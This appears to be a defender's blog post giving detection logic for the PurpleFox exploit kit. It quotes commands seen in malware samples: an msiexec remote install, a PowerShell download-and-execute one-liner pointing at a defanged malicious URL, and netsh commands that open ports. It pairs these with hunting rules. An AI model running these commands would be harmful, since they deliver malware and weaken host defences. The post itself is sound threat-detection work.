Hunting for PurpleFox Exploit Kit

Doomdesire
4 min readMar 2, 2024

--

Introduction

While PurpleFox is not new and has been around for some years now, it appears to still be on the rise. After encountering the following two samples:

I decided to share some detection logic that can be helpful in your hunt for it.

Detection 1: Suspicious process spawned from Microsoft Word

The first sample had a Microsoft Word document spawning powershell instances, something that is very uncommon. We can hunt for the following:

parent_process == winword.exe
&&
process_name == powershell.exe

Of course, in general, this is a detection that should not be limited to Microsoft Word and should not be limited to only powershell.exe. MS executables such as excel.exe, powerpnt.exe, outlook.exe, spawning cmd.exe, pwsh.exe, cscript.exe, wscript.exe or other processes they should not be spawing, can also be added to the detection.

Detection 2: Msiexec Remote File Execute

The second sample started with the execution of a .lnk file, spawning msiexec.exe and then connecting to a remote server and executing a payload:

"C:\Windows\System32\msiexec.exe" /i hxxp://black-sun-a335[.]asyorfplmnv[.]workers[.]dev/mnwODBptK6jU/5hwtrLyyHFiv/7b0985c861986ec9e2087ade8273e544009d68e1/SsdxxIp8DqeQ.jpg /q

We can hunt for the following:

process_name == msiexec.exe
&&
process_cmdline_contains == (http:// OR https://)

As a reminder, using msiexec to execute malicious payloads has previously been used by another malware called Raspberry Robin, making this detection work for it too.

Detection 3: PowerShell Encoded Commands

After spawning powershell from Microsoft Word, PurpleFox tries to run base64 encoded commands, in order to download a payload from the web. We can hunt for the following:

process_name == (powershell.exe OR pwsh.exe)
&&
process_cmdline_contains == (FromBase64String OR -e )

Something that should be kept in mind for the above detection, is that powershell can run an encoded command without -encodedcommand being spelled fully. That means that an encoded command can be run with -e, -en, -enc, -enco etc.

Furthermore, in EDR products like Carbon Black Cloud, you can also search the above keywords in scriptload content, as well as fileless scriptload cmdline.

This brings us to the next detection opportunity.

Detection 4: Powershell File Download

With the encoded command, PurpleFox tries to run the following:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp://black-sun-a335[.]asyorfplmnv[.]workers[.]dev/mnwODBptK6jU/zKJFnbnzeum8/37d4fddb6bf2de6611c6655a5cd37972fc33642d/ace.jpg')"

The above command will download and execute the ace.jpg file from the requested server. We can hunt for the following:

process_name == (powershell.exe OR pwsh.exe)
&&
process_cmdline_contains == (.downloaddata OR .downloadstring OR .downloadfile)

As with the previous detection, you can also search the above keywords in scriptload content, as well as fileless scriptload cmdline in an EDR.

Detection 5: PurpleFox IPSEC Policy Name

At some point during the execution chain, PurpleFox creates a new IPSEC policy, named qianye, using netsh:

"C:\Windows\SysWOW64\netsh.exe" ipsec static add policy name=qianye
"C:\Windows\SysWOW64\netsh.exe" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1
"C:\Windows\SysWOW64\netsh.exe" ipsec static set policy name=qianye assign=y

We can hunt for the following:

process_name == netsh.exe
&&
process_cmdline_contains == (ipsec AND static AND policy AND qianye)

By not including the keyword “add” in the detection, we cover all 3 of the above commands.

Detection 6: Netsh — Allow Incoming And Outgoing Connections

After creating the IPSEC policy, PurpleFox uses netsh to alter the local firewall, by allowing inbound and outbound connections to specific ports:

"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=7777 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14443 protocol=TCP
"C:\Windows\SysWOW64\netsh.exe" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=14444 protocol=TCP

We can hunt for the following:

process_name == netsh.exe
&&
process_cmdline_contains == (ipsec AND static AND add AND filter AND srcaddr AND dstaddr AND dstport)

Disclaimer: This post was originally uploaded on 21/9/2023 on my github page. I decided to transfer it here.

References

--

--